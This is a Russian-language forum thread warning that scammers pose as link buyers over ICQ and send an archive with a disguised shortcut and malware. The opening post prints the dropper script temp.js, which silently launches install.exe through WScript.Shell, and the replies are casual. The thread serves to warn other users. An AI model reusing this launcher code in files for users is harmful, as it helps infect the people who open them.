Осторожно, грузят шеллы в процессе покупки ссылок

140

LebedevStr

20 февраля 2015, 19:13

780

Осторожно, мошенники.

ICQ: 58302593.

Добавляются в контакты с просьбой разместить ссылку.

Высылают ссылку на статью, которая залита на ФО.

Содержимое архива.

Как видно, файл readme.ink - ярлык.

Который с командой /c poster.png ссылается на файл cmd.exe.

Закрепил файл, который появился после распаковки, вместе с ним temp.js, install.exe.

temp.js:

var WSHShell = WScript.CreateObject('WScript.Shell');
WSHShell.Run('install.exe',1);
WSHShell.Run('read.txt',1);

Не знаю на сколько это опасно, я так понимаю школьный метод.

Думаю кому и пригодится.

Будьте бдительны.

txt read.txt

2542

The WishMaster

21 февраля 2015, 00:19

#1

Кто в здравом уме будет кликать по таким файлам?

Кому старенького креативного копирайтера? Тематики - туризм, СЕО, творчество, кулинария, шизотерика :)

59

Staid

21 февраля 2015, 00:24

#2

LebedevStr:
Высылают ссылку на статью, которая залита на ФО.

Извращенцы какие-то. :)

1

536

melkozaur

21 февраля 2015, 09:48

#3

Санитары леса, респект ребятам.

147

molo

22 февраля 2015, 19:49

#4

А че за ФО? Скайп?

1